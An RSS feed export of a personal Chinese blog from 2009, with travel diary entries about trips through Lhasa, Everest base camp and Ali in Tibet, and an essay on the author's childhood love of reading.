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<title><![CDATA[风为裳]]></title>
<description><![CDATA[庄生梦]]></description>
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<pubDate>Mon, 14 Sep 2009 13:39:11 GMT</pubDate>

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<title><![CDATA[告别西藏]]></title>
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<description><![CDATA[                                                                      去新疆<br>           明天就要离开阿里了，去新疆叶城。<br>          下午去坡坡上（狮泉河人的称呼）临时的客车停靠点问询去叶城的车子情况，上午去只看 见一辆大客车停在那里，一个人踱过来搭讪问是否去叶城，问之说是这辆车上明明贴着牌子明天就发车的居然要到17号才走，留了牌子上司机的电话就走开了，怎么也不能再拖到17号了。上午在边防中队办理边防证回来坐的出租车上的司机说一般下午三四点钟都有货车或者等客的旅游车在坡坡上停靠等人，建议我下午再去。<br>         和毛毛一起又走到坡坡上倒是发现又停了一辆重型大货车，可惜车上无人。却望到对面的餐厅玻璃上写着叶城，拉萨，神山旅游问询咨询的字样，刚走过去就见门口出来一个人，问我们是否去新疆。原来是专门跑这一线的崔师傅，叶城人，4500的车上已经预定了三人，还差一个，问问价格要八百，还到七百也就订下来了，明天上午九点多出发，后天中午到叶城，然后据说再花个七十多块就可以到喀什来着。<br>         然后和毛毛到新疆餐厅各吃了一碗汤面片，等走到电信阿杜的房间俯卧在沙发上就难受起来，高原就是高原，你不知道什么时候就出现反应，不能多吃也不能少吃，喝酒就醉，时刻气喘，犹如提前进入老年期，唉！<br>        又去百益超市买了一点吃的和水带上，崔师傅说这里到叶城有一千零六十公里，也需狂奔一番的，带足吃喝是个重要的事情。<br>        明天还可先在班公措拍拍美景，这一路行来高原的湖泊算是见识了够。<br>        转眼在阿里都呆了一个星期了，而来西藏已经近一个月，其间见识多多，感触深深，那些人和事，是不会随风而去的。<br>         高原上天黑的晚，九点多太阳才完全下山。<br>        想想即将离开，内心惆怅，也许旅途中总不能割舍的就是这些鲜活的记忆，转瞬离别，永难再见，天若有情天亦老吧。<br>        夜来了，最后的阿里之夜，雪山亦在黑夜里静默，亘古静默如斯而已，不同的只是看风景的人及心情吧。<br>         再次踏上长途，路漫漫其修远兮！何处是归程，长亭更短亭........<br>                                                                                                                                   9.14<br> <br> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Mon, 14 Sep 2009 13:39:11 GMT</pubDate>
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<title><![CDATA[西行漫记之--阿里]]></title>
<link>http://13267268.qzone.qq.com/blog/1252061319</link>
<description><![CDATA[<span style="font-family:'宋体';line-height:1.8em;">                        <span style="font-weight:bold"><wbr />  </span><wbr /></span><wbr /><span style="font-weight:bold"><wbr />在阿里</span><wbr /><br><span style="font-family:'宋体';line-height:1.8em;">        三十一日晚十一点，尼桑途乐的小车厢里挤进了六个人和一堆行李。趁着夜黑风高，逃离拉萨去阿里也！</span><wbr /><br><span style="font-family:'宋体';line-height:1.8em;">       凌晨四点多又在日喀则接了来自无锡的女孩柏派，是夜风狂雨浓，车子又行驶在去往珠峰的路上了。本来深夜潜行，就是为了避开拉孜修路地段白天的封闭时间，任老师说的。结果车到拉孜时天已大亮，还是被交警客气地劝阻了。只好改走珠峰那边的路，又在定日落脚吃午饭。然后一路问询东奔西走，涉过几条荒野上的溪流，完全是看前人留下的车辙印的深浅在走。又误闯进藏族的小村落里，看人家手糊新鲜牛粪。而他们家家的墙上都砌着风干的牛粪，宝贵的燃料哦。</span><wbr /><br><span style="font-family:'宋体';line-height:1.8em;">       车行至希夏邦马峰附近，远远可望佩枯措碧蓝的海水，雪峰附近居然是黄沙漫漫，在俺正沉浸在驾车行驶新藏线的快感中时，不幸在爬坡时，熄火了，搞的俺忒没面子，又启动两次，老爷车就是不动，下来一看，右轮后胎瘪了。任老师和志愿者阿欢开始换胎，我行走在沙子上，裹着头巾，感觉自己像个Bedouin人。</span><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Fri, 04 Sep 2009 10:48:39 GMT</pubDate>
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<title><![CDATA[西行漫记之---珠峰]]></title>
<link>http://13267268.qzone.qq.com/blog/1251526409</link>
<description><![CDATA[ <span style="color:#660033;font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />我的珠穆朗玛</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="color:#330066;line-height:1.8em;">D1：</span><wbr /></span><wbr />    <br>      在东措的旅行社，来迟一步，结果一辆4500载着四个游客绝尘而去。无奈何，问旅行社讨了笔墨纸砚，大笔一挥，草就广告一张：急征珠峰同伴，有意者呼1380***......。贴在大门口进来处的告示板上，本没抱多大希望，没想到一下午的时间，居然六位大侠云集至麾下，并且其中六十五岁高龄的徐总管（毛遂自荐一路上负责财务住宿等琐事的管家）还提供了司机车辆，省了旅行社的中介环节。最后和藏族师傅索朗加措司机砍价到3800的车费后，达成一致，开始分头做准备工作。<br>          第二天一大早，一干来自天南地北的乌合之众，（计有天津港的史船长和参副小李，北京中兴通信的张张，宁波的退休摄影发烧友徐总管，革命老区井冈山的小刘加上一个失业快至穷途末路依然狂欢如故的我）在北京中路的玉包子餐厅饱食了一顿包子大餐后，开始四天的行程，浩浩荡荡杀奔珠峰而去。<br>         顺着雅鲁藏布江前行，居然经过了一处水葬台，不是索朗师傅指明，还真不知道这个拐弯处就是生命结束后的一处超脱之地，想想藏族的天葬水藏，再想想汉族的土葬火葬，死后怎么个安置法倒也有意思，关于这一段在藏传佛教里属于中阴得度的范畴，也许值得探讨一下。个人倾向于弃置于遥远荒凉杳无人迹的地方，死后的肉体无需任何处理，本就一具臭皮囊，暂居的庐舍，何碍于灵魂的自由飞翔？<br>        首站是羊卓雍措湖，高原上的一颗璀璨的明珠，不过由于此湖狭长且峰回路转，据说从什么角度都看不到全貌，好在远处雪山白云烘托着这蓝绿相间的一泓湖水，什么角度都能成就绝佳的风景明信片。一行人开始撒野狂奔，乱拍一气。在此，居然又见到传说中的藏獒，脖子上套着染成红色的牦牛毛做成的圆环，此处须不是看守牧群与来犯之狼豹勇猛搏斗的地方，而是供游人照相狎昵之场所。所以虽然生的高大威猛，却也温顺无比，藏族小伙子让我又抱又骑，可怜的藏獒虽然满心不情愿---就是不配合着看镜头，也没发任何脾气，完全一副受气包的模样了。怜哉！<br>车子顺着羊湖绕行而去。<br>         在一处群峰环抱处，发现了天堂般的景色：这个季节湖边居然盛开着大片黄艳艳的油菜花，碧绿绿的青稞，蓝幽幽的湖水，雪山白云相映照，远处一两个牧人和三五匹低头吃草的牛羊，无比的静谧祥和！唉！希尔顿《消失的地平线》中所说的香格里拉想必就是如此景象吧。我们则如鲁莽无知的闯入者，胡乱践踏一番，拍了些不伦不类的照片，又聚啸离去。而这美好的画面却定格在脑海里，足够今生回想了。<br>        卡若拉冰川属于典型的大陆型冰川,位于浪卡子县与江孜县的交界处.冰川的冰舌前缘海拔5560米，午后的阳光照耀下，炫目迷离，不可逼视。同样狂拍一通，心满意足地离去。<br>          傍晚五点左右到达江孜县城，据说这里是当年藏人抗击英军入侵之地，还有些古堡残迹耸立在城外的高坡上，而白居寺的门票却成了阻碍我等进去一观的理由，主要原因还是大半天耗下来，精力有些不济，半下午的骄阳依然炙烤着大地，垃圾成堆，苍蝇乱飞，而寺前讨钱的藏族小孩儿却撵得同伴们鸡飞狗跳，闪避不及。<br>        众人再次上车，途经某处，索朗师傅说是磨青稞做糌粑的地方。此地溪流水势湍急，分成三路带动水磨，磨坊里巨大的石磨吞吃着炒熟的青稞。这样做成的面粉远销各处，随时拿出拌点酥油茶就可以饱餐了。实乃居家远游之必备干粮也----为磨坊配的广告词，嘿嘿！<br>       晚八点多，阳光才下山不久，车子到达打尖的第一个宿地，也是西藏第二大城市----日喀则，《天路》唱响的地方，居旦增旅馆。饭后独自摸索这个城市，虽然号称第二大城市，比拉萨差远了，处处透着繁华未起的小镇模样。行走过几条街巷，在暮色里内心的凄凉感顿生，设想一下，居此地生活，那是何种情形？不亚于发配流放吧，古代戍囚的心情好有一比了。<br> <br><span style="font-weight:bold"><wbr /><span style="color:#330099;line-height:1.8em;">D2</span><wbr /></span><wbr />： <br>       第二天起来，居然阴雨绵绵，一夜酣睡，未曾察觉。早饭又被索郎师傅带到玉包子餐厅去了，日喀则的玉包子好像比拉萨的规模小，价格却不便宜，七八个人吃下来耗了九十大元。然后旦增旅馆的老板带我们去办边防证，他是熟门熟路，深谙此道。然而此地公务员的作息习惯想必是天高皇帝远管不着地散漫无纪。上午十点了还没动静。终于签字盖章了又拿去边防中队签发，等所有人的证件办齐后出发时，已经近中午了，车子在寒冷阴霾中驶离日喀则。<br>          路上远远地望着有紫色的苜蓿花一样的植物在田野间开放，可惜终于没有确定。<br>         午后二时左右到达喜马拉雅山口，风在呼啸，雪花在飞舞。“胡天八月即飞雪，”谁说的？唐诗人岑参吧。果然不差。山口一个藏族半大小伙子一个劲地撵着我喊妲己，妲己，并且摇着步子扭着屁股学狐狸样走路，心里疑惑他还会知道《封神演义》？被他烦的心神不定，结果像机失手跌在地上，从此摔坏，屏幕变成了阴阳脸。好在中午吃饭时，用张张的手提插卡看看，拍照还可以。总算稍感安慰，否则一生也只此一回来珠峰如果拍不成照，岂不哭死唉！<br>         三时到达鲁鲁检查站，就是在此查边防证。去珠峰的回来的兵分两路都要查过，好像力争确保不多一个也不少一个似的。<br>         正准备给鲁鲁检查站来个特写，以昭示后来人，谁知站岗的小战士警惕性颇高，还未容我掏出像机，他立即高声喝止：不许拍照！<br>         过了鲁鲁，道路从柏油路面变成了坎坷不平的石子路，索朗师傅说此路有一百多公里。并且马上要翻一座雪山---近在眼前的加措拉山口，海拔5220米。此一盘山公路，回旋上升，渐渐接近雪线，而远处的景色愈见其壮观。群峰高耸，雪野连绵，遥望之，几不知是生命的源头还是生命的尽头。像机毫不吝啬地开始狂拍。抵达垭口时，飘扬翻飞的风马旗中闪露一个牌门，其上大书着“珠穆朗玛国家级自然保护区”。茫茫白雪一片，大家下来舒展身躯，拔腿登上雪野，极尽POSS之能事，镜头里展示着生命的狂野和喜悦。<br>          不过此处的藏民好像不太友好，兜售东西不成，居然嘻嘻哈哈，半真半假地拿雪块砸人，一行人被追砸着狼狈不堪地逃窜回车内，慌忙撤离。<br>          沿途继续展示着荒凉而壮观的景色，天地苍茫，雪山静默，众人亦默然，震撼震慑的！<br>          晚七点多车过绒布寺，这可是世界上海拔最高的寺庙了，五千一百多米。也许此地的修行离西天极乐世界最近吧。<br>          没过多久，珠峰营地出现了，两长排帐篷，满地乱石，停着七八辆越野车和一些瑟缩在寒风里的藏民、游客们。这时高原反应已经开始袭击头部，痛不可挡。进了帐篷，虽然简陋也足以遮风挡寒，放下背包躺在座椅睡床两用的长椅上，疲累不堪。没多久，外面有人喊珠峰出现了！跑到外面一看，果不其然，乌云过处，珠峰赫然再现，巍峨挺拔，不可一世。这时的狂拍只担心电池不够用了。<br>         乍现即隐，珠峰偶露峥嵘真面目后瞬息云遮雾绕，天色也完全黑了下来，看中了门口小贩兜售的一块类似鹦鹉螺的化石。徐总管硬说是假的，但是小李却道就算是假的做到这个份上也值了，内心也持此想法，一咬牙我买吧，六十大元换了个沉重的石头，想想如果是真的，此地能捡到这样的化石足以佐证喜马拉雅山地区远古时是汪洋大海的世界呢，大自然沧海桑田的变迁该是何等的惊天地泣鬼神！慨叹之。<br>          是夜，和索朗师傅、还有一个藏胞睡在另一个冰冷的帐篷里，加盖了三床被子还冻的哆哆嗦嗦，半夜又热的浑身冒汗，一床床掀掉沉重的被褥。头痛欲裂，难以成眠。毕竟海拔五千一百米以上，脑海里突然冒出一句话：珠峰就是狠啊，放倒一个是一个。本来感冒就没好，再加高反，感觉智力直线下降，脑子浑沌一片。听着索朗师傅轻微的鼾声，苦熬着长夜的结束.....。<br> <br><span style="color:#6600cc;line-height:1.8em;"><span style="font-weight:bold"><wbr />D3：</span><wbr /></span><wbr /><br>       早上被徐总管他们叫醒，冻的哆哆嗦嗦去上世界上海拔最高的厕所，回来来不及洗脸也没时间吃早点就跟着他们去环保车停靠的地方，准备搭车进到珠峰一号大本营的所在。当时又冷又饿，高反的头昏脑胀不知所云，一路呻吟呜咽着朝车子走去，结果碰到四个深圳过来的中年女子，其中一个看我如此狼狈，慷慨解囊给了我一大块巧克力，坐在车上，吃下去后，感觉立马精神多了，再冲五千二百多的海拔也小菜一碟了，在这里确实要告诫后来者，如果到高海拔的地方，巧克力葡萄糖等等高能量的食品还是要必备的，效果也是立竿见影的，深圳女子也说我怎么没做好功课就出来了，她们可是做足了半年之久才有备而上的。道声惭愧，心说一直是率性而为的，喜欢的就是这样一种旅行方式，也抱着随时可以牺牲在路上的信念，无惧无畏。<br>      车到珠峰大本营附近停了下来，有兵站的战士检查通行证和身份证，然后又告诫很多地方不许涉足，看他们指定的活动地块似乎只能在看到珠峰的一小块空地上溜达溜达了，管的还真严，不远处有些黄色的小帐篷，那是专业登山队的营地。面对着一川碎石，近在眼前的珠峰，一行人开始四散开来，摆各种造型照相的，捡河川边的石头的，爬跟前一个小山坡的，不一而足。徐总管大人面对四个嗲嗲的美女，忙乎坏了...<br>一会帮这个照相一会帮那个摆<span style="font-family:'Times';line-height:1.8em;">POSS</span><wbr />，可怜他上窜下跳没有空闲的时候，等到大家都照够尽兴了，他才嚷嚷道：你们也帮我照照啊，我还一张都没拍呢。<br>为了配合珠峰凛然的威严，俺准备摆个不可一世的造型，就脱了冲锋衣，直接单衫上阵，眼望远方，挥动手臂，还麻烦小李斜着角度狂拍，总算过足了和珠峰合影的瘾。<br>在大家催促快回去等候环保车返程的时候，还和同样狂热爱好照相的张张一起爬到山坡上，又摆了<span style="font-family:'Times';line-height:1.8em;">N</span><wbr />个造型，照了一番更亲近珠峰的照片才冲下山坡。高反一时间也抛到九霄云外去了。<br>感谢珠峰，整个上午都清晰如画，近在眼前，虽然在海拔五千二的地面上看珠峰没那么巍峨壮观，又听人说我们这边观珠峰没有在尼泊尔那边看珠峰角度更佳，一般图片上拍摄的都是在尼泊尔那边看到的珠峰形状，不过也很心满意足了。因为听师傅说很多人千里迢迢来到这里未必都能看到珠峰，特别是季节不对的时候，千呼万唤也不出来呢。<br>回到住宿地，又依依不舍地拍了几张以珠峰为背景的照片，还和索朗师傅及我们的座骑车辆合了影，然后去吃午饭，难为帐篷的主人，在这样缺东少西的地方还能整出一顿饭就不错了，至于又贵又不好吃那也是在情理之中的，大家只能抱着饱肚子的心态开饭了。饭后收拾了一下行李匆忙上路。这一次翻加措拉山口感觉很痛苦了，完全没有昨天来时的兴奋狂喜，昨天这里还冰天雪地，一派雪域高原的景色，今天却雪影全无，只剩下泥泞难走的山路，不停地盘旋再盘旋，远处却依然是连绵起伏的喜马拉雅山系，群峰相叠，无穷无尽地延伸而去。<br>晕车高反加感冒，折腾的我难受无比，萎顿在座位上闭目捱着。感谢同坐的小李，这一程全靠他提供了坚实温暖的臂膀，倚靠着扶持着，才能坚持下去。想想大家都说个子高的人更容易缺氧而高反，而船长和小李都是北方汉子个个长的人高马大的，却都没事，小李还到处乱窜，怪活蹦乱跳的。我这种个头却昏了个七晕八素，真是搞不懂了，郁闷！<br>又回到鲁鲁检查站，依然是人分两路，过去的回来的挨个检查。<br>徐总管一心想要拍摄老定日的风光，据说从那里还可以看到珠峰，在我们备用的<span style="font-family:'Times';line-height:1.8em;">B</span><wbr />套方案里就有万一在大本营这里看不到珠峰，我们就去老定日，从远处再眺望珠峰。现在虽然说已经看到珠峰了，但是考虑时间还早，去老定日只不过每人再多花六十元，所以还是决定去了。<br>半下午的老定日艳阳高照，当年去珠峰的路没有改道以前，这里是交通要塞，而如今此地开始没落下去了。还能见到几个零星老外背着硕大的背包，风尘仆仆地行走着，也不知道来自遥远的欧洲抑或美洲，千万里只为追寻世界屋脊的梦想，感慨！<br>到了老定日大家都颇感失望，这才正是应了那句话：不来遗憾，来了更遗憾！我躲在车里继续休息，他们却都下去市场买黄瓜水果解馋去了。<br>午后的阳光温暖而和煦，照在人身上懒洋洋的，但是千万不要以为会是一个慵懒漫长的午后，这样的时刻稍纵即逝，看看不远处的雪山吧，只要太阳的光线一下山，寒冷马上弥漫上来了。<br>等大家都上车后，开始驶离老定日回日喀则。结果刚出老定日没多久，车胎坏了，想想这样的路况，不坏几个车胎是说不过去的。所以索朗师傅和总管小李他们下来换胎，我就抱了我的熊娃娃“伴伴”下车拍照，把“伴伴”搁在马路中间，大路朝天，通向远方，远方是山峰耸立，绵延不绝。这样拍出了娃娃走天下的照片，好可爱！<br>从老定日回日喀则的路就非常好走了，不过到了新定日，索朗师傅还是开到修车的地方补了胎，然后返程。其间等的不耐烦，我没和索朗师傅打招呼就把车发动了往前开了一节路再回头，结果搞的他们大惊小怪，索朗师傅还老大不高兴，等我回来摆了个臭脸狠狠瞪了我一眼，嘿嘿！<br>车到日喀则，天也黑透了，又回到丹增旅馆，小李他们去山南旅游认识的一个武汉女子美芽也从拉萨过来了，说是专程来看扎什伦布寺的，她拒绝去珠峰，理由是到处光秃秃的看不到绿色，还说不定要高反，觉得没啥意思。想想人的想法真是殊异啊，一般人都觉得好不容易千万里奔来就是要看看珠峰，再不值得一看也要到彼一游，美芽却要坚持自己的看法，有个性。还有一位女子也很好玩，恰好也安排在我这间屋子里<span style="font-family:'Times';line-height:1.8em;">---</span><wbr />女子多人间，她一个人也没在拉萨找人组团，直接就跑到日喀则来说要去珠峰，结果在这里找不到同伴去，便车也找不到，因为大家基本上都在拉萨组好团了，没多余的空位。她说如果实在找不到伴，她还是准备回拉萨再呼伴去珠峰，我说明天早上问问徐总管，看我们车上还能塞下一个人不，要不她坐我们的车回拉萨。瞧瞧，两个独行的女子，一个不要去珠峰，一个就是要去珠峰，再加上一个刚从珠峰回来憔悴不堪的我，真是三个女人一台戏，好玩呢。<br>众人要去吃羊肉，我说不去了，晚上不想吃的这么油腻，等他们走后我又去探索黑暗中的这个城市，再次感受凄凉的滋味，吃了一碗川米粉，买了一件休闲衬衣。回来洗澡睡觉不提。<br><br><span style="font-family:'Times';line-height:1.8em;">D4</span><wbr />：<br>早上起来还是去玉包子餐厅吃早饭，看来我们和玉包子是解下不结之缘了。饭后大家去扎什伦布寺参观。<br>扎什伦布寺是后藏的第一大寺庙，也是黄教格鲁派的两大转世体系之一班禅的驻锡地，那里有藏区据说最大的强巴佛塑像，历史悠久，寺宝众多，也是香火鼎盛之地。<br>看看外观，颇像甘南的拉卜楞寺。<br>票价也不菲，五十五大元，我们都老老实实买票，人家美芽却愣是闯进去了<span style="font-family:'Times';line-height:1.8em;">----</span><wbr />就这么直直地朝着寺门走去，然后面不改色心不跳地进去了，居然也没人拦她，真是奇了怪了，后来在车上听美芽说她在拉萨就没怎么买过票，除了布达拉宫门票费过钞外，其他的都是这样逃票进去的，还真是佩服她！我却想也没想到过要逃票，估计也逃不掉，这是需要方方面面契合的：譬如说长的像藏人啊，打扮没游客气息啊，个人心理素质过硬凭人家再怎么拦截都装到底啊，等等。<br>在扎什伦布寺游逛了半天，特别欣赏其中精美的壁画，关于佛的故事和说法渲染烘托了一份出世的气息。<br>照了些相片，后来又渴又累，看到走廊里有几个喇嘛坐着喝酥油茶，就忍不住问他们讨了酥油茶，喝了好几杯，还坐在他们中间就着寺内昏暗的光线聊了几句，又给他们照了像，答应到时候回上海寄给他们。<br>最后徐总管打电话催了，准备下去寺门口和众人会合，无意中又闯入一个辩经的场所，原是听着里面人声鼎沸而去的，一看是个小小的院子，里面树木扶疏，满眼是穿着红色僧服的喇嘛在辩经。看到其中一个长相端正的小喇嘛正起劲地和其他人辩论着就忍不住上前对着他狂拍一气，他看有人拍照，讲的更起劲了。<br>最后我才意犹未尽地离开了，赶回车子停靠的地方，众人又在一个旅游用品店里淘了会纪念品什么的。我也花十块钱买了一个手镯，戴着耍耍。<br>随即车子开出日喀则，回拉萨去也。<br>出城没多久，看见路两旁都是格桑花，在艳阳的照射下，娇艳无比，盛开着欢愉着。大家都跳下车开始拍照，我也随着徐总管的样子，俯下身把照相机从花的底部朝上仰拍，最后居然得了几张不错的照片，学了一个拍花技巧了。<br>又跌坐在路中央，双手合十竖在胸前，闭目做诵经状，在藏区的广漠土地上，是渴望来世做这路边的一朵格桑花还是情愿如浮云来去不定地散在天际？脑子空荡荡无思无想<span style="font-family:'Times';line-height:1.8em;">….</span><wbr /><br>车行至中途时，徐总管也不理会索朗师傅要在某处吃饭的说法，随便找了个路边餐馆说要吃午饭，大家也没意见，就在尘土飞扬的路边停下，随便炒了几个青菜，狼吞虎咽一番填饱肚子了事。<br>一路上我和美芽轮番讲着湖北的种种小吃，又和小李漫无边际地狂聊。<br>车子又再次经过雅鲁藏布江水葬台，在那里和来时的路会合，之前我们返程的路和去的时候是不同的路径。<br>在落日余晖下，大家又在雅鲁藏布江边拍了一会。<br>回到拉萨，仿佛阔别已久。<br>那样熟悉而亲切，和沿途的城市乡村相比，我们确乎有回到大都市的感觉。<br>徐总管提议大家吃一顿散伙饭，众人无异议。<br>遂听了徐总管的安排，在离大昭寺不远的地方一个藏族餐厅里吃羊肉。<br>其间，美芽和小李还叫了原先他们的三个同伴。大家谈笑风生地喝酒吃肉。其乐融融。徐总管多喝了两杯青稞酒，谈性正浓地讲了N个他们那个年代发生的奇闻异事，而那个绰号叫“杀手”的小李美芽原来的同伴还讲了他们重庆大学的自杀怪事，张张也正巧是重庆大学的老毕业生，席间他们算是叙了阔说了些重大的老传统。我呢应徐总管的要求在席间唱了一首在湘西苗寨学来的山歌。算是感谢大家一路的关照，以歌声作别。<br>饭后，大家各奔东西，作鸟兽散。<br>这趟珠峰之行，算是圆满完成，再见也！<br><span style="font-size:10px;line-height:1.8em;"></span><wbr /><br><span style="font-size:10px;line-height:1.8em;"></span><wbr /><br><span style="font-size:10px;line-height:1.8em;"> </span><wbr /> <br> <br> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Sat, 29 Aug 2009 06:13:29 GMT</pubDate>
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<title><![CDATA[西行漫记之---回到拉萨]]></title>
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<description><![CDATA[<span style="font-weight:bold"><wbr /><span style="font-size:24px;line-height:1.8em;">拉萨！拉萨！</span><wbr /></span><wbr /><br>           从贡嘎机场一落地，立即感受到高原凛冽的空气，灿烂的阳光。<br>          机场大巴先过雅鲁藏布江，然后顺着拉萨河一路前行，蓝天，白云，拉萨河的波光粼粼，宽而浅的河床上柔柔的水草在风中摇曳，令人感觉如梦似幻。听着Willie Nelson 的&lt;on the road again&gt;，长期抑郁的心情霎那如花绽放。<br>         想起某友深恶痛绝的话：喜欢旅游的人都是自私放纵的。只顾自己享受放松，全然不管他人的情况。也许吧，反思之，从某种角度上说这的确是一种不负责任的逃避和放弃吧。<br>         然而沉浸在一个安逸温暖的小家庭里，日日过着闲适的平淡生活，操持着孩子老公家庭及工作，一过经年，是一种什么样子呢？可惜只能想像一下了，从什么时候起就已经摈弃了这种生活模式。任由这颗狂野不羁的灵魂继续漂泊复流浪，没有终点。<br> <br>       拉萨的出租车起步价十块，诘问之，司机振振有词地说：上海的起步价十一块，北京的十二块，我们当然要十块啦！真看不出这里的出租车行业何德何能居然与北京上海并驾齐驱，位列三尊。<br> <br>        八朗学旅舍是驴友集中之地，也许好找去阿里的伴一起租车前往。且价格便宜，欣然入住，尽管临近马路的房间一夜噪音不休，上洗手间需去长长的走廊尽头，洗澡需爬下陡陡的三层楼梯到底楼，毕竟是高原，爬楼梯是一件费劲的事情，也认了。<br>        <br>         在几步之遥的东措青年旅舍，价格较贵，虽然装修及环境很小资浪漫，也免了。不过二楼墙壁上的一些涂鸦之作却让人忍俊不禁一路看了过去。如:&quot;冰火两重天，东措洗澡太爽了！”“趁着青春，使劲嚣张”“我想念你----暴牙妹”....也有一些伤感之作“人生多错失，与君永相望。”“是说再见的时候了，你们要回去，而我选择独自前行....”还有更多抒情怀念游伴留恋此地发誓再来的话语，也是一颗颗鲜活跳动的心在表达在宣泄，无论如何西藏之旅都给他们留下了永远难忘的记忆和回想吧。<br>          <br>        大昭寺前永远是如此熙熙攘攘，纷扰不休，日夜不停地磕着等身长头膜拜的信徒们，睁着好奇双眼四处探望的游客们，八廓街上琳琅满目的藏饰小商品，各色人等沿着顺时针缓缓绕行.....这一幅幅画面不知何时会有终了时！在寺里同样沿着顺时针转圈，东一鳞西一爪听着导游的讲解，印象深刻的只有释迦牟尼十二岁的等身像，据说是当年文成公主携带而来，安置与此。站在寺庙的三楼上远眺布达拉宫却是绝佳的观点。<br>         <br>          前一天在布宫后门预定了门票，下午就去了布宫，还需过安检，检查森严呢。想想此处不可估量的财宝及文物古迹，也能理解。此处是历世达赖们的办公住所及灵塔安放之地，尤其是五世达赖的灵塔，高耸室内，黄金珠宝镶嵌其上，价值不可估算。红宫白宫，远观巍峨壮丽，真的身处其中却感觉压抑沉闷，想想生活其中，感觉如华丽的墓室。埋葬所有的人性情感，只有神性永远闪耀指引蒙昧的世人吧。<br> <br>       准备去珠峰，然后是阿里，可惜两天问下来，居然没旅行社和旅舍提供什么人及相关信息去阿里。看来西部的荒凉及遥远还是让大多数人望而却步，而我是要执意前行的，等待机会吧。<br> <br>       忘了告诉大家：我的朋友叫“伴伴”，是一只可爱的小绒布熊，我将带着它漫游大半个中国，一路跋山涉水，风雨兼程，不离不弃，温暖彼此-------让我们浪迹天涯吧！<br>                                                     Fly with me,in the perfect world!<br>                                                     Go with me,just like bird!<br> <br>                                                                     <br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Sat, 22 Aug 2009 15:38:30 GMT</pubDate>
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<title><![CDATA[三更有梦书当枕]]></title>
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<description><![CDATA[</span><wbr />   <span style="font-weight:bold"><wbr />  深夜，展书枕边，记起当年看过一丛书集，名之：枕边的辉煌。“辉煌”二字好像谈不上，但是阅读之美，感悟之深，却是遣此有生之涯和愉悦不羁灵魂的绝好方式之一。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     阅读于我已成一种根深蒂固的习惯，一种重要的生活形式。沉浸古今中外众多文学书籍之中，或书名如雷贯耳，或默默无闻，有什么关系呢，都能使人在万籁俱静甚或喧嚣嘈杂中觅得一方清净，展开一段超越时空的旅程。其间人性的扑朔迷离，情感的跌宕起伏，自然的美丽风光，历史的波澜壮阔</span><wbr /><span style="font-family:'Times';line-height:1.8em;">……</span><wbr /></span><wbr />，<span style="font-weight:bold"><wbr />难以尽述，陶潜有诗道来：此间有真意，欲辩已忘言矣。</span><wbr /></span><wbr /> </span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr />     追溯往事，好像童年过于孤寂，没有什么玩伴，识的几个大字开始，就专注于文字所展现的世界了。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     当年书籍如此匮乏，无数的梦里都是自己于意料之外获得好书几册，满心喜悦，抱书于怀，不舍稍离，可惜一枕黄粱梦醒，依旧空空如也。万分的遗憾，刻骨铭心。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     哥哥们偶然拿些书回来，也不知道体谅我等饥渴的眼睛，看完要么锁之抽屉，要么转眼归还，想方设法偷看几页，还要遭到呵斥训责，阅读之难那叫一个苦。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     犹记得为了看一部描写朝鲜战争的旧书《红日》，某日趁二哥不在家，用一根筷子从锁着的抽屉里勉强抽出的一丝空隙中一页一页地挑出来看，吃力万分，还翻烂了好几页，怕二哥回来责骂，那份惶急，至今记得。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     更离谱的是，为了想看连载在《十月》杂志上王莹写的《宝姑》，那些天放学后都是一路狂奔赶回家，生怕三哥看完还掉了。结果他没还，而是撕掉后面的几页扔到外面垃圾堆里去了。害得我为了看到结局，只好到垃圾堆里慢慢翻找，把碎片归拢到一起，蹲在灰尘里擦着粘附其上的污迹，一页一页艰难地拼着看，最终还是有些缺失找不着了。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     小学三年级开始看红楼梦，那个暑假，于无际的炎热知了噪耳的嘶鸣中看了又看，当看到大观园风流人散，一场繁华归于寂灭之时，那种凄凉惆怅沁入幼年的心灵，人世的沧桑，世事的变幻之感奠定今生孤寂的基调。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     台湾作家三毛也说，当年她阅读红楼：大雪天里，贾政于荒野泊舟处看书，忽见贾宝玉光头赤足，身披一袭大红猩氅，遥遥向他拜倒，然后飘然而去，等他追了出去，只见漫天素雪，洁白的世界，人迹早已杳然</span><wbr /><span style="font-family:'Times';line-height:1.8em;">…..</span><wbr /></span><wbr /><span style="font-weight:bold"><wbr />看到这一段时，深感文字之美之魅，倾倒无法自拔。于我心有戚戚焉！</span><wbr /></span><wbr /> </span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr />     有人说过：一个人童年的经历涵盖其一生，大意如此。也许指的就是内心的渴望和梦想，起始于童年时代，终其一生都不会放弃吧，深以为然。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     今生，多少风花雪月不在，多少人事随风而逝，夜以继日扑面而来的岁月亦如光速般向后迅疾消失。没什么可以把握，没什么可以挽留。唯有这夜里，寂寂灯光下，一册在手，潜心阅之，心灵的充盈富足无可比拟，庆幸此生可以沉溺文学之中，个中滋味，不足为外人道哉。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />      